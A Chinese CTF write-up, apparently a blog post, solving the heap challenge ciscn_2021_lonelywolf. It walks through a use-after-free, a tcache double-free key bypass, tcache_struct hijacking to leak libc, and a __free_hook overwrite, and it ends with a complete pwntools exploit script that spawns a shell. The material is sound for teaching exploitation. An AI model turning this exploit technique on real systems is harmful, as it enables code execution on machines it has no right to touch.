Ciscn_2021_lonelywolf

Checksec & IDA

在这里插入图片描述
保护全开,看看源码:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3[5]; // [rsp+0h] [rbp-28h] BYREF

  v3[1] = __readfsqword(0x28u);
  sub_AC0(a1, a2, a3);
  while ( 1 )
  {
    puts("1. allocate");
    puts("2. edit");
    puts("3. show");
    puts("4. delete");
    puts("5. exit");
    __printf_chk(1LL, "Your choice: ");
    __isoc99_scanf(&format, v3);
    switch ( v3[0] )
    {
      case 1LL:
        allocate();
        break;
      case 2LL:
        edit();
        break;
      case 3LL:
        show();
        break;
      case 4LL:
        delete();
        break;
      case 5LL:
        exit(0);
      default:
        puts("Unknown");
        break;
    }
  }
}
unsigned __int64 allocate()
{
  size_t v1; // rbx
  void *v2; // rax
  size_t size; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-10h]

  v4 = __readfsqword(0x28u);
  __printf_chk(1LL, "Index: ");
  __isoc99_scanf(&format, &size);
  if ( !size )
  {
    __printf_chk(1LL, "Size: ");                // index只能为0
    __isoc99_scanf(&format, &size);
    v1 = size;
    if ( size > 0x78 )                          // 最大申请一个0x78大小的堆
    {
      __printf_chk(1LL, "Too large");
    }
    else
    {
      v2 = malloc(size);
      if ( v2 )
      {
        chunk_size = v1;
        chunk_ptr = v2;
        puts("Done!");
      }
      else
      {
        puts("allocate failed");
      }
    }
  }
  return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 delete()
{
  __int64 v1; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  __printf_chk(1LL, "Index: ");
  __isoc99_scanf(&format, &v1);
  if ( !v1 && chunk_ptr )                       // 如果v1为0,且buf不为空,则free堆
    free(chunk_ptr);                            // UAF
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 show()
{
  __int64 v1; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  __printf_chk(1LL, "Index: ");
  __isoc99_scanf(&format, &v1);
  if ( !v1 && chunk_ptr )                       // 如果v1为0,且chunk_ptr不为空指针,则执行
    __printf_chk(1LL, "Content: %s\n", (const char *)chunk_ptr);// 输出chunk_ptr指向的内容
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 edit()
{
  _BYTE *v0; // rbx
  char *v1; // rbp
  __int64 v3; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  __printf_chk(1LL, "Index: ");
  __isoc99_scanf(&format, &v3);
  if ( !v3 )                                    // 如果v3等于0,则执行
  {
    if ( chunk_ptr )                            // 如果chunk指针不为空,则执行
    {
      __printf_chk(1LL, "Content: ");
      v0 = chunk_ptr;                           // 将v0置为chunk指针
      if ( chunk_size )                         // 如果chunk大小不为0
      {
        v1 = (char *)chunk_ptr + chunk_size;    // v1 = chunk_ptr + chunk_size,意思是v1指向堆块的末尾部分,因为ptr是开始,size是大小,ptr+size是结尾
        while ( 1 )
        {
          read(0, v0, 1uLL);                    // 读入一个unsinged long long类型数据,写入堆中
          if ( *v0 == 10 )                      // 如果读取到换行符,则停止读取
            break;
          if ( ++v0 == v1 )                     // 如果读取到了申请的堆的大小上限,则返回错误码
            return __readfsqword(0x28u) ^ v4;
        }
        *v0 = 0;                                // 将v0置零
      }
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

具体分析都在注释里面,这里就不赘述了。

思路解析:

首先通过Double Free以及UAF漏洞泄露堆的地址,减去0x250+0x10获取tcache_struct地址并劫持。
然后修改tcache_struct中存储堆的数据,使系统认为tcache已满,使得free掉这个tcache_struct后放入unsorted bin中。
而当unsorted bin后面没有其他堆时,unsorted bin的fd指针会指向它位于main_arena的地址。
通过这个地址减去偏移以及头部数据的16个字节,即可获取libc基址,然后计算出free_hook和system的地址,送入binsh即可getshell。

具体步骤解析:

1.泄露tcache_struct地址:

首先申请一块堆:

malloc_chunk(0x28)

在这里插入图片描述
可以看到我们申请了0x28大小的堆,系统分配了一块0x30大小的堆给我们。
然后我们利用Double Free漏洞,使用UAF漏洞泄露地址。
这里有一点需要注意,本题的libc是新版的2.27,具有检测Double Free的机制。不能无脑free(),free(),free()。
在这里插入图片描述
但是其实绕过也很简单。机制是在tcache堆中的bk上存储了一段数据,称为key,如果检测到了key,即检测到Double Free。
在这里插入图片描述
就是这段数据。只要覆盖为任意数据,比如0000什么的就行。

edit_chunk(p64(0) * 2)

即可绕过检测机制。
成功利用Double Free后,我们可以发现tcache的fd指向了一个地址:
在这里插入图片描述
这里又涉及到一个知识点:tcache的fd指针指向的是userdata,而不是堆的起始。
也就是说,这个就是这个堆的地址+0x10,堆头的地址。
我们只需要减去0x260即可得到tcache_struct的起始地址。
我们只需要调用show函数就会打印出来tcache_struct的起始地址。

show_chunk()
io.recvuntil(b'Content: ')
tcache_struct_ptr = u64(io.recv(6).ljust(8, b'\x00'))

为什么这里是接收6个字节呢?
在这里插入图片描述
\20是空格,\0a是换行符。
因此我们只得到了6字节的数据,使用ljust填充到8位即可。

2.构造指向tcache_struct的堆

在第一步中我们得到了tcache_struct的起始地址,我们只需要+0x10即可得到tcache_struct的数据段地址,因为tcache_struct本身也是一个堆。
通过使用UAF漏洞,我们可以修改已被释放的堆的fd。

edit_chunk(p64(HADR+0x10))

在这里插入图片描述
这个fd指向的就是tcache_struct的userdata部分。
然后我们需要复用堆,第一次我们会拿到堆0x556dc35ad250,因为LIFO原则。
在这里插入图片描述
第二次我们就会拿到fd指向的tcache_struct。
在这里插入图片描述

3.劫持tcache_struct

在 glibc 2.31 及更早版本中,每个 tcache 链表最多可以存储 7 个堆块。但是,在 glibc 2.32 及更高版本中,这个值被增加到了 16。

本题是libc-2.27,因此tcache每个链表中只能存储7个大小一样的堆。我们只需要将存储堆的数据改成7,再free,就能将tcache放入unsorted bin中。
在这里插入图片描述
从右往左数,每2个0代表一个大小的tcache。第一组是0x20,第二组是0x30,以此类推。可得到我们现在存储了一个大小为0x30的堆。
为什么这里是

edit_chunk(p64(0) * 4 + p64(0x7000000))

而不是

edit_chunk(p64(0x0000070000000000))

呢?
因为这两个是不一样的东西,p64会封装为8字节长度的数据,而单单一个下面的p64修改是只能修改8个字节的。
在这里插入图片描述
我们是从0x55572db30010开始修改的,因此32个0,加上一个0x7000000,没有问题。
如果是第二个呢?

发现修改错地方了。

4.泄露malloc_hook地址

第三步中我们使得tcache再次free后就会被放入unsorted bin中,那么第四步我们就开始利用这点。
释放前是这样的:在这里插入图片描述

free_chunk()

释放后:
!在这里插入图片描述
可以看到我们tcache_struct的fd和bk皆指向了一个地址,我们使用telescope查看。
在这里插入图片描述
不难看出来这其实是main_arena的地址,偏移是96。
我们只需要减去96 + 0x10 + __malloc_hook的偏移就拿到了libc基址。

libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - (libc.sym['__malloc_hook'] + 0x70)

5.getshell

第四步我们拿到了libc地址,通过计算偏移我们可以得出__free_hook和system的地址:

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

然后就是getshell的堆利用部分。
首先我们申请了一个堆块:

malloc_chunk(0x78)

申请前:
在这里插入图片描述
申请后:
在这里插入图片描述
可以发现系统从0x55dc90f61000开辟了0x80,成了我们申请的堆块,变成了0x55dc90f61080,并且状态也改变了。
然后我们再释放这个堆块:
在这里插入图片描述
可以发现他指向一个不明地址,我们将这个地址修改为__free_hook的地址:

edit_chunk(p64(free_hook))

在这里插入图片描述
现在我们申请的堆块的fd已经指向__free_hook了,我们再申请2个堆块:
在这里插入图片描述
可以发现堆块数量并没有变,但是fd指针变了。事实上bins命令中发生了改变,但是我还不太理解是为什么。
在这里插入图片描述
![在这里插入图片描述](https://img-blog.csdnimg.cn/f1f152f3e98b4e8d817dc896ac658264.png在这里插入图片描述
我们将最新的堆块的fd指针修改为system地址:

edit_chunk(p64(system))

发现还是没有变化
在这里插入图片描述

我们再申请一个堆块,发现堆的布局变了:
在这里插入图片描述
修改0x55dc90f61080的fd为/bin/sh

edit_chunk(b'/bin/sh\x00')

在这里插入图片描述
已经成功修改成了/bin/sh。接下来free掉这个chunk即可getshell。因为我们已经将__free_hook替换为了system函数。
但是堆中我实在看不出来有什么变化,等我什么时候看出来了更新一下本文。
在这里插入图片描述

EXP:

from pwn import *
from PwnModules import *

Local = 1
amd64 = 1
if Local == 1:
    io = process('/home/kaguya/PwnExp/lonelywolf')
else:
    io = remote('1.14.71.254',28383)
    io = remote('192.168.1.197', 10000)

elf = ELF('/home/kaguya/PwnExp/lonelywolf')

if amd64 == 1:
    context(arch='amd64', os='linux', log_level='debug')
else:
    context(arch='i386', os='linux', log_level='debug')

libc = ELF('/home/kaguya/PwnExp/libc-2.27.so')


def choice(choice):
    io.recvuntil(b'choice: ')
    io.sendline(str(choice))


def malloc_chunk(index):
    choice(1)
    io.recvuntil(b'Index: ')
    io.sendline(b'0')
    io.recvuntil(b'Size: ')
    io.sendline(str(index))


def edit_chunk(content):
    choice(2)
    io.recvuntil(b'Index: ')
    io.sendline(b'0')
    io.recvuntil(b'Content: ')
    io.sendline(content)


def show_chunk():
    choice(3)
    io.recvuntil(b'Index: ')
    io.sendline(b'0')


def free_chunk():
    choice(4)
    io.recvuntil(b'Index: ')
    io.sendline(b'0')


log.success('Double Free 利用中')
malloc_chunk(0x28)
free_chunk()
edit_chunk(p64(0) * 2)

free_chunk()
log.success('Double Free 利用成功')

show_chunk()
io.recvuntil(b'Content: ')
Heap_Addr = u64(io.recv(6).ljust(8, b'\x00')) - 0x260
log.success('Tcache_Struct Address: ' + (hex(Heap_Addr)))

log.success('修改fd指向Tcache_Struct')
edit_chunk(p64(Heap_Addr + 0x10))
log.success('复用堆')
malloc_chunk(0x28)
log.success('复用堆')
malloc_chunk(0x28)

log.success('修改Tcache_Struct中存储有多少个堆的数据,使得系统认为Tcache已满,需要存放进unsorted bin')
edit_chunk(p64(0) * 4 + p64(0x7000000))
free_chunk()
show_chunk()
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - (libc.sym['__malloc_hook'] + 0x70)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

malloc_chunk(0x78)

free_chunk()
edit_chunk(p64(free_hook))
malloc_chunk(0x78)
malloc_chunk(0x78)
edit_chunk(p64(system))
malloc_chunk(0x78)
edit_chunk(b'/bin/sh\x00')
free_chunk()

io.interactive()

总的来说,收获很多。即使在大佬们眼里只是一道签到题,但是对目前的我来说已经是很难很难的题了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值